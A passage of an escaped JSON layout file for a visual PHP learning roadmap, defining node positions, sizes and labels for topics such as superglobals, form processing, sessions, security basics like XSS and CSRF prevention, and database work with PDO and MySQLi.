   },\n      \"zIndex\": 999,\n      \"width\": 199,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 199,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 857.0727748893542,\n        \"y\": 1322.5756438256735\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MRDjEjbkMpk7shcWAoPOF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 857.0727748893542,\n        \"y\": 1269.5756438256735\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"CSV Processing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"S9wTlkbv9-R6dohhZ47hs\"\n      },\n      \"zIndex\": 999,\n      \"width\": 199,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 199,\n        \"height\": 50\n      },\n      \"positionAbsolute\": {\n        \"x\": 857.0727748893542,\n        \"y\": 1269.5756438256735\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"ggkWo0DRSSDDkHpbiyUyf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 857.0727748893542,\n        \"y\": 1375.5756438256735\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"XML Processing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tgIyG6vHWpe9sz6lHmj5a\"\n      },\n      \"zIndex\": 999,\n      \"width\": 199,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 199,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 857.0727748893542,\n        \"y\": 1375.5756438256735\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qEQHasW-P1aIenzurfCNB\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 882.5727748893542,\n        \"y\": 1437.0547643279947\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"File Operations\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"xpvaGtnZo9BL3HfKCzsV_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 882.5727748893542,\n        \"y\": 1437.0547643279947\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 135,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"_V2EY4z-CTE4g-HtjU_ov\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 428.57600354059275,\n        \"y\": 1364.6251986376292\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"HTTP / Request Handling\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"fBym6pkzRkNh0LWyCg3Bv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 278,\n      \"height\": 56,\n      \"style\": {\n        \"width\": 278,\n        \"height\": 56\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 428.57600354059275,\n        \"y\": 1364.6251986376292\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 278,\n        \"height\": 56\n      }\n    },\n    {\n      \"id\": \"IxzVu2Uxmtw9koAB7nP3J\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 710.8998998140942,\n        \"y\": 1382.6251986376292\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        },\n        \"oldId\": \"t6N8bYfapkiiFMPdYmqpq\"\n      },\n      \"zIndex\": 999,\n      \"width\": 139,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 139,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 710.8998998140942,\n        \"y\": 1382.6251986376292\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"tn_iIfaJZVtPK6vFds7FH\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 438.01123046875,\n        \"y\": 1022.6412495554816\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"HTTP Methods\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 259,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 259,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 438.01123046875,\n        \"y\": 1022.6412495554816\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 259,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GFYGFVfxkOoPI5mI4zSt1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 449.05794812125305,\n        \"y\": 1090.8385009765625\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"$_GET\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 115,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 115,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 449.05794812125305,\n        \"y\": 1090.8385009765625\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 115,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qNG-a4iIO-puZsMwAMzYC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 569.5613249380067,\n        \"y\": 1090.8385009765625\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"$_POST\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"GFYGFVfxkOoPI5mI4zSt1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 111,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 111,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 569.5613249380067,\n        \"y\": 1090.8385009765625\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 111,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"A6rfW4uJhyfAX2b18_EEC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 450.5613249380067,\n        \"y\": 1144.8385009765625\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"$_REQUEST\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 233,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 233,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 450.5613249380067,\n        \"y\": 1144.8385009765625\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 233,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7Ja2at_N9tRTlvSGahrqn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 450.5613249380067,\n        \"y\": 1198.8385009765625\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"$_SERVER\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"A6rfW4uJhyfAX2b18_EEC\"\n      },\n      \"zIndex\": 999,\n      \"width\": 233,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 233,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 450.5613249380067,\n        \"y\": 1198.8385009765625\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 233,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1fD7xL7hD9Dv62ksAy-fF\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 471.616943359375,\n        \"y\": 1258.6117717284694\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Super Global Variables\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 191,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 471.616943359375,\n        \"y\": 1258.6117717284694\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 191,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"sYI7f1PYP7G30_Uj2mZRv\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 459.82440195890786,\n        \"y\": 1483.9375240903669\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Form Processing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"CGehmZjcgTWC7fQAvxmNW\"\n      },\n      \"zIndex\": 999,\n      \"width\": 216,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 216,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 459.82440195890786,\n        \"y\": 1483.9375240903669\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HNo8QO4aPbvgePiA4l6tq\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 459.82440195890786,\n        \"y\": 1536.9375240903669\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"File Uploads\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"CGehmZjcgTWC7fQAvxmNW\"\n      },\n      \"zIndex\": 999,\n      \"width\": 216,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 216,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 459.82440195890786,\n        \"y\": 1536.9375240903669\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CGehmZjcgTWC7fQAvxmNW\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1005.0540073590632,\n        \"y\": 1535.4829936268172\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"State Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LlcZe9eU0Qs5kqm-8DW28\"\n      },\n      \"zIndex\": 999,\n      \"width\": 205,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 205,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1005.0540073590632,\n        \"y\": 1535.4829936268172\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 205,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"so03-fK7E2WvTm6XsPq4i\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1298.2881913021563,\n        \"y\": 1512.4589710787736\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Cookies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 184,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 184,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 1298.2881913021563,\n        \"y\": 1512.4589710787736\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 184,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qobzzgzArNHLLn9Oiqc6G\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1298.2881913021563,\n        \"y\": 1565.4589710787736\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Sessions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 184,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 184,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1298.2881913021563,\n        \"y\": 1565.4589710787736\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 184,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"93oEIZttb85S23C1fLraP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1084.6650523820535,\n        \"y\": 1658.5423714507278\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Input Validation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1084.6650523820535,\n        \"y\": 1658.5423714507278\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DxqQrToZSayWplKdCkTgT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1084.6650523820535,\n        \"y\": 1711.2766664136475\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"XSS Prevention\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 1084.6650523820535,\n        \"y\": 1711.2766664136475\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"801vB_JMas4ucriUmfrLg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1290.8373057946285,\n        \"y\": 1658.5423714507278\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"SQL Injection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 184,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 184,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1290.8373057946285,\n        \"y\": 1658.5423714507278\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 184,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"J9yIXZTtwbFzH2u4dI1ep\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1290.8373057946285,\n        \"y\": 1711.2723714507279\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"CSRF Protection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 184,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 184,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1290.8373057946285,\n        \"y\": 1711.2723714507279\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 184,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JbWFfJiCRrXDhnuIx_lqx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1084.6650523820535,\n        \"y\": 1764.0109613765671\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Password Hashing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1084.6650523820535,\n        \"y\": 1764.0109613765671\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HJJzKYXdK4BWITLP4APLZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1290.8373057946285,\n        \"y\": 1764.0023714507279\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Auth Mechanisms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 184,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 184,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 1290.8373057946285,\n        \"y\": 1764.0023714507279\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 184,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tfC1tCrbvH5J43WUpG9Yb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1083.2331533695394,\n        \"y\": 1816.732371450728\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Sanitization Techniques\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 392,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 392,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1083.2331533695394,\n        \"y\": 1816.732371450728\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 392,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ESNhqQpKQ-SmCOBDTObk-\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 1202.2331533695394,\n        \"y\": 1870.732371450728\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Basics of Security\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 36,\n      \"style\": {},\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1202.2331533695394,\n        \"y\": 1870.732371450728\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"ujVb9PtG6AlDUPLk_SWUU\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 1141.1650523820535,\n        \"y\": 1584.4829936268172\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 66,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 66\n      },\n      \"positionAbsolute\": {\n        \"x\": 1141.1650523820535,\n        \"y\": 1584.4829936268172\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 66\n      }\n    },\n    {\n      \"id\": \"77uKH6zwzzEycoZkGotpK\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 646.8998998140942,\n        \"y\": 1651.5423714507278\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Working with Databases\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"_V2EY4z-CTE4g-HtjU_ov\"\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 56,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 56\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 646.8998998140942,\n        \"y\": 1651.5423714507278\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 56\n      }\n    },\n    {\n      \"id\": \"ViaJCS5_Zngyrm6F01s3J\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 905.4015161102686,\n        \"y\": 1669.5423714507278\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 170,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 905.4015161102686,\n        \"y\": 1669.5423714507278\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"cJtPz1RMN1qDE4eRdv4N_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 440.0625618910087,\n        \"y\": 1761.283325430209\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"PDO\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 82,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 440.0625618910087,\n        \"y\": 1761.283325430209\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 82,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YLuo0oZJzTCoiZoOSG57z\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 528.6846520369628,\n        \"y\": 1761.283325430209\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"MySQLi\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 106,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 528.6846520369628,\n        \"y\": 1761.283325430209\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 106,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6bK1pQ7pM3oowXyKNYIty\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 443.02449280028634,\n        \"y\": 1815.285090377886\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Database Connectivity\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 189,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 443.02449280028634,\n        \"y\": 1815.285090377886\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"SeqGIfcLuveZ2z5ZSXcOd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 717.3722164373969,\n        \"y\": 1757.1918715106722\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Object-Relational Mapping (ORM)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 309,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 309,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 717.3722164373969,\n        \"y\": 1757.1918715106722\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 309,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FY-F6n9j29hQrnFry3VGb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 717.3722164373969,\n        \"y\": 1809.9418715106722\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Database Transactions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 309,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 309,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 717.3722164373969,\n        \"y\": 1809.9418715106722\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 309,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"txUyPR_tdC8iTJV3RtvBz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 717.3722164373969,\n        \"y\": 1862.6918715106722\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Connection Pooling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 309,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 309,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 717.3722164373969,\n        \"y\": 1862.6918715106722\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 309,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"M1nVsh_sCSFJRf6-7Ttsj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 717.3722164373969,\n        \"y\": 1915.4418715106722\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Performance Optimization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 309,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 309,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 717.3722164373969,\n        \"y\": 1915.4418715106722\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 309,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"meplwvmHMtI3Sb_fyodzZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 717.3722164373969,\n        \"y\": 1968.1918715106722\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Database Migrations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 309,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 309,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 717.3722164373969,\n        \"y\": 1968.1918715106722\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 309,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pfX7PZgDo-QB2E35wTlwT\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 738.7340367056072,\n        \"y\": 2028.039362390491\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Advanced Database Techniques\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        